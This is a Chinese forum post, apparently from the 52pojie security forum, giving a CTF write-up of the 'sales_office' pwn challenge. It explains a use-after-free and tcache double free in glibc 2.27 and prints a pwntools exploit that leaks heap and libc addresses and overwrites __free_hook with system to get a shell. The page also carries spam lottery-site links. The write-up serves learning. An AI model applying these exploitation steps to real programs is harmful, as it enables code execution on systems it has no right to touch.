千城彩票

吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.5esh.com

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 3462|回复: 21
上一主题 下一主题

[漏洞分析] 安恒4月月赛 pwn2 sales_office(fastbin double free)

  [复制链接]
跳转到指定楼层
楼主
nigacat 发表于 2020-4-27 21:15 回帖奖励
本帖最后由 nigacat 于 2020-4-28 16:18 编辑

前几天打了安恒4月月赛,pwn2给我的感觉还挺巧妙的 ,今天复盘一下,把具体的利用过程理一下,顺带复习
远端环境已经无了,题目glibc版本是2.27 ubuntu18.04(会涉及到一些tcache的知识)
本地调试用虚拟机自带的libc就行


首先IDA分析

典型的菜单选择题目 其中buy 用于申请,第二个功能不可用,show用于打印,sell用于free
深入分析每一个函数的具体实现
1.buy

arena为全局数组 位于bss段 地址0x6020a0

申请一个堆块是会有两次malloc一次固定的 area[v0] = (void **)malloc(0x10uLL);用于存放后续的堆地址(堆块大小为固定的0x20),命名为指针堆块
第二次malloc(size)申请出用户指定大小的堆块
需要说明的是如果第二次的size为0x10那么这个堆块(命名为数据堆块)就会和指针堆块相邻
申请完成后接受输入内容,不存在堆溢出漏洞
2.show


正常的打印功能,puts()内的参数为指针堆块的指针(该指针指向数据堆块的data段,不是指向数据堆块的首地址)
打印的检查为指针堆快(指针堆快的地址存放于area[v0])是否为空,不为空时将指针指向的内容打印出,这一点在后续的泄漏还会用到

3.sell


该函数主要功能为free ,free掉指针堆块和数据堆块,但是在free之后没有将指针置为null
是一个典型的uaf 漏洞


pwntools开始编写脚本
首先给出定义的一些函数 ,方便后续操作

def new(size,content):
    p.sendlineafter('choice:','1')
    p.sendlineafter('house:',str(size))
    p.sendafter('your house:',content)
def show(index):
    p.sendlineafter('choice:','3')
    p.sendlineafter('index:',str(index))
def free(index):
    p.sendlineafter('choice:','4')
    p.sendlineafter('index:',str(index))



1.通过double free 构造环状链表泄漏堆地址
new(0x10,'aaaa') #0
new(0x10,'bbbb') #1
new(0x10,'cccc') #2
new(0x10,'dddd') #3
#pause()1
free(2)
free(0)
#pause()2
free(0)
show(0)
#pause()3

首先我们观察一下pause1时的堆块分布情况(每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行

此时的area全局数组的情况如下

通过上面两图,可以清楚的发现指针的指向关系:
area[v0]->指针堆块的数据段,指针堆块的数据段的存放的是指向数据堆块数据段的指针(有点绕,得把关系理清楚
我们可以通过先free chunk2让两个大小为0x20的堆块进入tcache链中
然后再free chunk0 再让chunk0的两个大小为0x20的堆块进入tcache链中
此时我们查看pasue2时的堆块分布情况
此时被释放的堆块进入到tcache链中 关于tcache的相关知识 给出一个链接,里面有比较详细的解释(tcache为先进后出出的结构,图中的tcache链是从左边进入)
http://www.jianshu.com/p/3ef98e86a913


可以发现,chunk1的数据堆块和指针堆块都不为空,指针堆块指向数据堆块的数据段,数据堆块指向chunk2的指针堆块的数据段。
堆块链表的情况为:

chunk0_p->chunk0_d->->chunk2_p->chunk2_d

此时满足sell函数 free(area[v0]),free(*area[v0])的条件
即可以对chunk0进行double free 造成一个环形链表

堆块链表的情况应该是
chunk0_p->chunk0_d->chunk0_p->chunk0_d->->chunk2_p->chunk2_d
此时已经形成了一个环形链表
chunk0_p->chunk0_d->chunk0_p->chunk0_d
此时我们在pause3处观察heap分布情况

我们发现tcache 中已经构成了环形链表

此时show(0)即可打印出堆地址
减去偏移0x260即可得到堆基地址
p.recvuntil('house:\n')
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x260
log.info('HEAP:\t'+ hex(heap_base))


可以看到已经泄漏出了堆的基地址

2.写入elf.got['__libc_start_main'],泄漏libc基地址
具体代码如下
new(0x10,p64(heap_base + 0x2A0))
#pause()
new(0x20,'eeee')
#pause()
new(0x10,p64(elf.got['__libc_start_main']))
show(1)# 泄漏地址
#pause()
p.recvuntil('house:\n')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
pause()

此时tcache 链表中的堆块情况为:
chunk0_p->chunk0_d->chunk0_p->chunk0_d

area分布如图

我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址
首先看 new(0x10,p64(heap_base + 0x2A0)) 后的结果
每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行


new(0x20,'eeee')的目的在于,首先消耗掉tcache链中最左边的大小为0x20的一个堆块(0x15ec260)
然后数据堆块的大小为0x30 tcache 链中没有符合大小的堆块,0x15ec280堆块(大小为0x20)得以保留,
new(0x10,p64(elf.got['__libc_start_main']))的时候就会出现一个错位的情况(精妙之处),原本的数据堆块(0x15ec280)用于存放指针,
而原本的指针堆块(0x15ec2a0,此堆块对应chunk1_p)则用于存放了我们的数据(libc_start_main.got)
反过来再看我们开头说的“我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址”
我们已经成功的写入了got ,利用puts即可泄漏



3.在已经知道libc地址的情况下,修改free_hook为system,通过free(p),p为指向"bin/sh\x00"的字符串,获取shell
具体代码如下
free(3)
free(3)
new(0x10,p64(free_hook))
pause()
new(0x20,'/bin/sh\x00')
new(0x10,p64(system))
free(8)
p.interactive()

此时的对分布情况如图


利用1中的原理 两次free(3) 造成环状链表

new(0x10,p64(free_hook))
之前的tcache 链如下:
chunk3_p->chunk3_d->chunk3_p->chunk3_d
执行 new(0x10,p64(free_hook))之后的tcache 链如下:
chunk3_p->chunk3_d->free_hook


new(0x20,'/bin/sh\x00')
跟上面的错位原理一样,我们需要free_hook刚好作为数据堆块分出


图中标出的即为free_hook
当我们再次执行new(0x10,p64(system))的free_hook会被以数据堆块的形式分配出
这就造成了free_hook被修改为system
此时我们只需确定'/bin/sh\x00'所在堆块的下标号
通过free()即可大功告成!


对比堆块内容 我们发现下标为8




终于完成了!!!

最后附上exp和文件

exp.rar (636 Bytes, 下载次数: 19)

sales_office.rar (3.37 KB, 下载次数: 11)
还是太菜了,pwn真的是一门艺术

sales_office.rar

千城彩票3.37 KB, 下载次数: 8, 下载积分: 吾爱币 -1 CB

题目文件

免费评分

参与人数 12吾爱币 +10 热心值 +12 收起 理由
poisonbcat + 1 + 1 谢谢@Thanks!
mcwindy + 1 + 1 我很赞同!
lalala17 + 1 + 1 谢谢@Thanks!
sunnylds7 + 1 + 1 热心回复!
魅夜 + 1 + 1 热心回复!
yixi + 1 + 1 热心回复!
gaosld + 1 + 1 用心讨论,共获提升!
smile5 + 1 谢谢@Thanks!
zhleon + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
韬. + 1 + 1 谢谢@Thanks!
fengzhipinglian + 1 用心讨论,共获提升!
手撕牛肉 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
 楼主| nigacat 发表于 2020-4-29 10:03 <
15135094220 发表于 2020-4-28 23:57
下载不了第一个附件呀

链接:http://pan.baidu.com/s/162jXBpnK6AeEqKjNEyvNqw
提取码:qz9y
推荐
 楼主| nigacat 发表于 2020-4-28 20:34 <
4#
小天使xx 发表于 2020-4-28 00:57
5#
无名之涟 发表于 2020-4-28 14:23
下载不了第一个附件呀,大大
6#
TMAC 发表于 2020-4-28 23:49
推荐7z或者zip
7#
15135094220 发表于 2020-4-28 23:57
下载不了第一个附件呀
8#
墨白先生 发表于 2020-4-30 10:11
吾等凡人前来膜拜
9#
yinhuilin2019 发表于 2020-4-30 10:17
吾等凡人前来膜拜
10#
若鸽丶ROGUE 发表于 2020-5-1 13:02
吾等凡人前来膜拜
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|联系我们|吾爱破解 - LCG - LSG ( )

GMT+8, 2020-5-10 14:11

Powered by Discuz!

千城彩票Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表
杏耀平台-主页 金福彩票-主页 北京彩票-主页 万福彩票-主页 吉林体彩网-主页 广东福彩网-主页 360彩票-主页 凤凰体彩-主页 爱波网-主页 广东十一选五-主页